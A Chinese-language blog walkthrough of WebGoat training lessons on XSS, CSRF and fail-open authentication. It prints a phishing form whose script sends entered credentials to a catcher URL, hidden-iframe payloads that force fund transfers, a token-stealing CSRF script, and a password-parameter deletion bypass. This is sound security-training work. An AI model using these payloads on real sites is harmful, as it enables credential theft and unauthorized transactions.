Web安全XSS

Web安全XSS

簡單的反射型XSS釣魚演示

</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> 

將上邊的代碼輸入到文本框,XSS會形成一個釣魚的登陸界面,用來騙取登陸帳戶和密碼

Cross-Site Scripting (XSS)-LAB: Cross Site Scripting

這是一篇系統的XSS介紹

Stage1-4

這四個步驟介紹了儲存型XSS,主要步驟以下

1. Tom的檔案是能夠編輯的,Jerry做爲人力能夠查看Tom的檔案
2. Tom對本身的檔案進行編輯,放入XSS代碼,被儲存到數據庫
3. Jerry查看Tom檔案時,咣噹..中招了

而後Stage2和4給出了兩種方法修復XSS

第一是對輸入進行檢查,進行編碼,第二個是對輸出進行編碼,分爲JS Encode和HTML Encode,整個1-4因爲沒有Soluition,並且貌似XSS已是被修復後的狀態,因此無法完成…感受這節課也是壞掉的…

Stage5-6

這裏是反射型XSS的教程,說是在SearchStaff有個反射型的XSS,能夠經過輸入那裏注入代碼,可是沒能復現,可能也是壞掉了…Stage6必須在開發模式下,也不知道怎麼作.

Cross-Site Scripting (XSS)-Stored XSS Attacks

講述了一種最典型的儲存型XSS的例子—-留言板.

1. 留言板能夠輸入任何信息
2. 沒有進行輸入輸出編碼,產生了XSS
3. 用戶A進行惡意留言
4. 用戶B點進來自動顯示用戶A的留言,中XSS

Cross-Site Scripting (XSS)-Reflected XSS Attacks

典型的反射型XSS掩飾,Enter your three digit access code:輸入框有反射型XSS漏洞

Cross-Site Scripting (XSS)-Cross Site Request Forgery (CSRF)

這裏是一個儲存型XSS和CSRF結合的示例,CSRF就是冒名登陸,用代碼僞造請求,詳細看這裏,這裏是吧CSRF惡意代碼利用儲存型XSS放到了網頁上,經過留言Message裏輸入

<iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000"></iframe> 

就能夠看到儲存型XSS會出發出一個轉帳頁面,若是想這個頁面被被害者發現

<iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000" width="1" height="1"></iframe> 

經過寬高設置成1像素,隱藏掉這個頁面

Cross-Site Scripting (XSS)-CSRF Prompt By-Pass

這個就是利用CSRF進行冒名操做轉帳,留下惡意代碼以下

<iframe src="attack?Screen=282&menu=900&transferFunds=5000" id="myFrame" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';"> </iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"> </iframe> 

1. 第一個iframe是進行轉帳5000
2. 當第二個加載完畢,去獲取第二個iframe執行轉帳確認按鍵
3. 而後再下邊事先構造好」id=frame2」的第二個iframe

根據剛剛的文章講,預防CSRF的一個有效手段就是Token,可是Token在管理不嚴的狀況下也是能夠被竊取的

Cross-Site Scripting (XSS)-

演示竊取Token後的CSRF

<script> var tokensuffix; function readFrame1() { var frameDoc = document.getElementById("frame1").contentDocument; var form = frameDoc.getElementsByTagName("form")[0]; tokensuffix = '&CSRFToken=' + form.CSRFToken.value; loadFrame2(); } function loadFrame2() { var testFrame = document.getElementById("frame2"); testFrame.src="attack?Screen=278&menu=900&transferFunds=5000" + tokensuffix; } </script> <iframe src="attack?Screen=278&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> 

1. 先加載main頁面竊取Token
2. 而後加載轉帳頁面發送CSRF轉帳請求

Cross-Site Scripting (XSS)-HTTPOnly Test

這裏就是測試HTTPOnly在對第三方Cookie的管理的影響,被標記了HTTPOnly的Cookie不能被JS獲取到.因此通常Session和Token最好放在帶有標記的Cookie裏

可是這裏有個疑問,若是用戶選擇不一樣的DOM就能夠打開關閉HTTPOnly的標記,是否是能夠誘導用戶先關掉呢…仍是說這裏也是爲了出題而出題,只是僞造了HTTPOnly的效果

Improper Error Handling-Fail Open Authentication Scheme

這一個章節主要是講要對錯誤有處理,否則錯誤處理的不全面也可能形成漏洞,好比這裏

1. 輸入webgoat賬號
2. 而後輸入任意密碼
3. 攔截Request報文
4. 刪掉密碼這一個參數

這樣也能登陸成功,因此說明代碼對獲取不到密碼這個參數時的錯誤處理不充分

http://blog.csdn.net/biyukai88/article/details/52251805